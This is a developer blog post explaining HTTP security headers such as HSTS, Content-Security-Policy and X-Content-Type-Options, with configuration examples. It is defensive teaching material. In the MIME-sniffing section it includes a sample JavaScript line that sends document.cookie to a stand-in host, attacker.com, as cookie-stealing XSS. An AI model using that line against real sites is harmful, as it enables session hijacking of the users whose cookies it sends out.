DEV Community

Harry Do
Harry Do

Posted on

HTTP Security Headers

In today's digital landscape, web application security is not optional—it's essential. As cyber threats continue to evolve and become more sophisticated, developers must employ multiple layers of defense to protect their applications and users. One of the most effective yet often overlooked security mechanisms is HTTP security headers.

I. What Are HTTP Security Headers?

HTTP security headers are special response headers that web servers send to browsers, instructing them on how to behave when handling web content. Think of them as security directives that create an additional defensive layer by controlling how browsers process and display your web pages.

Quick Reference: For the complete specification, check out the OWASP HTTP Headers Cheat Sheet

II. Why Security Headers Matter

Modern web applications face an ever-growing list of security threats. Without proper defenses, your application could be vulnerable to:

  • Cross-Site Scripting (XSS): Malicious scripts injected into your web pages
  • Clickjacking: Attackers tricking users into clicking hidden elements
  • Man-in-the-Middle (MITM) attacks: Intercepting and modifying communications
  • Data injection: Unauthorized data being inserted into web pages
  • Protocol downgrade attacks: Forcing less secure communication protocols

Security headers provide crucial protection by:

  • Controlling how browsers behave when rendering your content
  • Enforcing secure communication protocols
  • Preventing unauthorized content execution
  • Protecting against various attack vectors
  • Adding defense-in-depth to your security strategy

Test Your Site's Security Headers

Want to see how your site scores? Head over to securityheaders.com to scan your website's security headers. You might be surprised at what's missing!

III. Understanding Security Header Categories

Not all security headers are created equal. Let's break them down by how commonly they're implemented and how complex they are to configure.

The Essential Headers (You Should Have These)

Header Purpose Security Level
Strict-Transport-Security (HSTS) Enforces HTTPS connections High
X-Content-Type-Options Prevents MIME type sniffing Medium
Referrer-Policy Controls referrer information sharing Low

The Recommended Headers (Most Sites Use These)

Header Purpose Security Level
X-Frame-Options Prevents clickjacking attacks Medium
Permissions-Policy Controls browser features and APIs Medium
Cross-Origin-Opener-Policy (COOP) Controls cross-origin window access High
Cross-Origin-Embedder-Policy (COEP) Controls cross-origin resource loading High

The Advanced Headers (Complex But Powerful)

Header Purpose Security Level
Content-Security-Policy (CSP) Controls which resources can be loaded and executed High
Cross-Origin-Resource-Policy (CORP) Controls cross-origin resource access Medium

The Legacy Headers (Avoid These)

Header Purpose Security Level
X-XSS-Protection Enables browser XSS filtering (deprecated) Low

IV. Deep Dive: Configuring Each Header

1. Strict-Transport-Security (HSTS)

What Problem Does It Solve?

HSTS protects against several critical vulnerabilities:

  • Protocol Downgrade Attacks: Prevents attackers from forcing connections to use HTTP instead of HTTPS
  • Man-in-the-Middle (MITM): Stops intercepting and modifying HTTPS traffic
  • Cookie Hijacking: Protects session cookies from being stolen over unencrypted connections

How It Works

HSTS instructs browsers to always use HTTPS when communicating with your server. Once a browser receives this header, it will automatically upgrade all HTTP requests to HTTPS.

Configuration Example

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Enter fullscreen mode Exit fullscreen mode

Key Directives:

  • max-age: Duration (in seconds) to enforce HTTPS. 31536000 equals one year.
  • includeSubDomains: Applies the policy to all subdomains
  • preload: Indicates your site should be included in browser HSTS preload lists

Common Pitfalls

  • First Visit Vulnerability: The initial HTTP visit is still vulnerable before the header is received
  • Subdomain Issues: Misconfigured subdomains can break when includeSubDomains is set
  • Certificate Problems: Invalid certificates can completely lock users out
  • Preload List: Once added, it's difficult to remove your site from browser preload lists

2. X-Content-Type-Options

What Problem Does It Solve?

  • MIME Sniffing Attacks: Prevents browsers from interpreting files as different types than intended
  • Script Execution: Stops execution of scripts disguised as images or other content types
  • Content Injection: Blocks malicious content from being processed incorrectly

Understanding MIME Sniffing Attacks

Browsers have a feature called "MIME sniffing" where they examine the actual content of a file to determine its type, rather than trusting the Content-Type header sent by the server. This can be exploited by attackers.

Example Attack Scenario:

An attacker uploads a malicious file disguised as an image:

<!-- Looks innocent enough -->
<img src="https://example.com/uploads/user-avatar.jpg" alt="Profile Picture">
Enter fullscreen mode Exit fullscreen mode

The file user-avatar.jpg might actually contain JavaScript code:

// This is malicious JavaScript disguised as an image
alert('XSS Attack!');
document.location = 'http://attacker.com/steal-data?cookie=' + document.cookie;
Enter fullscreen mode Exit fullscreen mode

Without X-Content-Type-Options: nosniff, the browser might:

  1. See the file extension .jpg and Content-Type: image/jpeg header
  2. Examine the actual content and find JavaScript
  3. Decide "this looks like JavaScript" and execute it
  4. Run the malicious script, potentially stealing cookies or performing other attacks

How X-Content-Type-Options: nosniff Solves It

When you set this header, you're telling the browser:

  1. Trust the Content-Type header - Don't try to guess the file type
  2. Don't MIME sniff - If the server says it's an image, treat it as an image
  3. Prevent content-type confusion - Don't execute scripts that are declared as images

Configuration Example

X-Content-Type-Options: nosniff
Enter fullscreen mode Exit fullscreen mode

Important Note: The nosniff directive specifically applies to script and style request destinations. It blocks requests when the destination is script and the MIME type is not a JavaScript type, or when the destination is style and the MIME type is not text/css. While this provides critical protection for the most common XSS vectors, it doesn't prevent MIME sniffing for all content types.

Common Pitfalls

  • Legacy content may rely on MIME sniffing
  • File uploads with incorrect MIME types may not display properly
  • Browser compatibility is generally good but varies

3. Referrer-Policy

What Problem Does It Solve?

  • Information Leakage: Prevents sensitive URLs from being exposed in referrer headers
  • Privacy Violations: Stops tracking users across sites
  • Data Exposure: Protects sensitive parameters in referrer URLs

Understanding Data Exposure Through Referrers

Many applications pass sensitive data through URL parameters, which gets exposed via referrer headers when users navigate to other sites.

Common Sensitive Data in URLs:

<!-- User profiles -->
https://profile.com/user/12345?name=John+Doe&email=john@example.com&phone=555-1234

<!-- Medical records -->
https://clinic.com/patient/789?diagnosis=diabetes&medication=insulin&age=45

<!-- Financial data -->
https://bank.com/account?balance=100000&credit_score=750&ssn=123-45-6789
Enter fullscreen mode Exit fullscreen mode

How It Works

The Referrer-Policy header controls what information is included in the Referer header when navigating away from your site.

Available Policy Options:

  • no-referrer: Never send referrer information
  • no-referrer-when-downgrade: Send referrer only for same-origin or HTTPS→HTTPS
  • origin: Send only the origin (domain), not the full URL
  • origin-when-cross-origin: Send full URL for same-origin, only origin for cross-origin
  • same-origin: Send referrer only for same-origin requests
  • strict-origin: Send origin for same-origin and HTTPS→HTTPS
  • strict-origin-when-cross-origin: Send full URL for same-origin, origin for HTTPS→HTTPS, nothing for HTTP (recommended, this is the default in modern browsers)
  • unsafe-url: Always send full referrer (not recommended)

Configuration Example

Referrer-Policy: strict-origin-when-cross-origin
Enter fullscreen mode Exit fullscreen mode

Note: strict-origin-when-cross-origin is the default policy in modern browsers if no Referrer-Policy header is specified. Setting it explicitly ensures consistent behavior across all browsers and makes your security policy clear.

Common Pitfalls

  • Analytics tracking may be affected by restrictive policies
  • Legacy systems may depend on referrer information
  • Debugging becomes more difficult without full referrer data
  • Browser support varies for different policies

4. X-Frame-Options

Security Risk Scenario

  • Clickjacking: Malicious sites embedding your content in invisible frames
  • UI Redressing: Tricking users into performing unintended actions
  • Social Engineering: Overlaying malicious content on legitimate pages

How It Solves It

Controls whether browsers can display the page in a frame:

  • DENY: Completely prevents framing
  • SAMEORIGIN: Allows framing only from same origin
  • ALLOW-FROM uri: Allows framing from specific URI (deprecated)

Detailed Information

X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM <https://trusted-site.com>
Enter fullscreen mode Exit fullscreen mode

5. Permissions-Policy

Security Risk Scenario

  • Feature Abuse: Unauthorized use of browser APIs
  • Privacy Violations: Access to sensitive device features
  • Resource Consumption: Excessive use of device resources

How It Solves It

Controls which browser features and APIs can be used:

  • camera: Camera access
  • microphone: Microphone access
  • geolocation: Location access
  • payment: Payment Request API
  • usb: USB device access
  • magnetometer: Magnetometer access
  • gyroscope: Gyroscope access
  • accelerometer: Accelerometer access

Detailed Information

Permissions-Policy: camera=(), microphone=(), geolocation=(self), payment=(self "https://trusted-payment.com")
Enter fullscreen mode Exit fullscreen mode

Common Issues

  • Feature detection may not work as expected
  • Third-party widgets may break
  • Progressive enhancement requires careful handling
  • Browser support is still evolving

6. Content-Security-Policy (CSP)

Security Risk Scenario

  • XSS Attacks: Malicious scripts injected through user input, third-party libraries, or compromised dependencies
  • Data Exfiltration: Unauthorized scripts sending sensitive data to external domains
  • Malicious Redirects: Scripts redirecting users to phishing sites

How CSP Solves It

CSP acts as a whitelist mechanism that:

  • Restricts which domains can load scripts, styles, images, and other resources
  • Prevents inline script execution (unless explicitly allowed)
  • Blocks unauthorized resource loading
  • Provides violation reporting for monitoring

Detailed Information

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' <https://trusted-cdn.com>; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' <https://fonts.gstatic.com>; connect-src 'self' <https://api.example.com>; frame-ancestors 'none'; base-uri 'self'; form-action 'self';
Enter fullscreen mode Exit fullscreen mode

Directives:

  • default-src: Fallback for other resource types
  • script-src: Controls JavaScript execution
  • style-src: Controls CSS loading
  • img-src: Controls image loading
  • font-src: Controls font loading
  • connect-src: Controls AJAX, WebSocket, and EventSource connections
  • frame-ancestors: Prevents framing (replaces X-Frame-Options)
  • base-uri: Restricts base tag URLs
  • form-action: Restricts form submission URLs

Common Issues

  • Overly restrictive policies can break legitimate functionality
  • ‘unsafe-inline’ reduces security benefits
  • Third-party integrations may require extensive allowlisting
  • Legacy code with inline scripts/styles needs refactoring

7. CSP Report Only

The Content-Security-Policy-Report-Only (CSPRO) header is a “testing mode” version of the Content-Security-Policy (CSP) header.

  • Content-Security-Policy (CSP): Enforces restrictions (e.g., blocks inline scripts, prevents loading resources from unauthorized domains).
  • Content-Security-Policy-Report-Only (CSPRO): Does not enforce restrictions but reports violations to a specified endpoint.

How It Works

  • When the browser encounters something that violates the CSP rules defined in the Content-Security-Policy-Report-Only header:
    • The resource is still loaded/executed normally.
    • The browser sends a violation report (in JSON format) to the URL specified in the report-to or report-uri directive.
  • Unlike Content-Security-Policy, it does not block or alter resource loading.

Example

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' https://cdn.example.com; report-uri /csp-violation-report-endpoint/
Enter fullscreen mode Exit fullscreen mode
  • Scripts are allowed only from self and cdn.example.com. If a script is loaded from another domain:
    • It will still run.
    • A violation report will be sent to /csp-violation-report-endpoint/.

Violation Report Format

Modern browsers send reports in JSON. A typical report looks like this:

{
  "csp-report": {
    "document-uri": "https://example.com/index.html",
    "referrer": "https://google.com/",
    "violated-directive": "script-src 'self' https://cdn.example.com",
    "effective-directive": "script-src",
    "original-policy": "default-src 'self'; script-src 'self' https://cdn.example.com; report-uri /csp-violation-report-endpoint/",
    "blocked-uri": "https://evil.com/malware.js",
    "line-number": 42,
    "column-number": 17,
    "source-file": "https://example.com/app.js",
    "status-code": 200
  }
}
Enter fullscreen mode Exit fullscreen mode

8. X-XSS-Protection

Security Risk Scenario

  • Reflected XSS: Malicious scripts in URL parameters
  • Stored XSS: Malicious scripts stored in databases
  • DOM-based XSS: Client-side script injection

How It Solves It

Enables browser’s built-in XSS filtering:

  • 0: Disables XSS filtering
  • 1: Enables XSS filtering
  • 1; mode=block: Enables filtering and blocks page loading if XSS detected
  • 1; report=uri: Enables filtering and reports violations

Detailed Information

X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=/xss-report-endpoint
Enter fullscreen mode Exit fullscreen mode

Common Issues

  • Deprecated in modern browsers (replaced by CSP)
  • False positives can break legitimate functionality
  • Limited effectiveness against sophisticated XSS attacks
  • CSP is preferred for comprehensive protection

V. Some Common Pitfalls

  • Overly restrictive CSP breaking functionality
  • Missing HTTPS for HSTS
  • Incorrect header syntax causing browser errors
  • Not testing across different browsers
  • Ignoring CSP violations in production
  • Hardcoded policies instead of environment-specific ones
  • Missing subdomain considerations for HSTS

VI. Best Practices

  • Start with basic headers and gradually add more restrictive ones
  • Test thoroughly after each change
  • Monitor CSP violations using reporting endpoints
  • Keep policies updated as your application evolves
  • Use reporting-only mode initially for CSP
  • Document your policies for team reference
  • Regular security audits to ensure effectiveness

Top comments (0)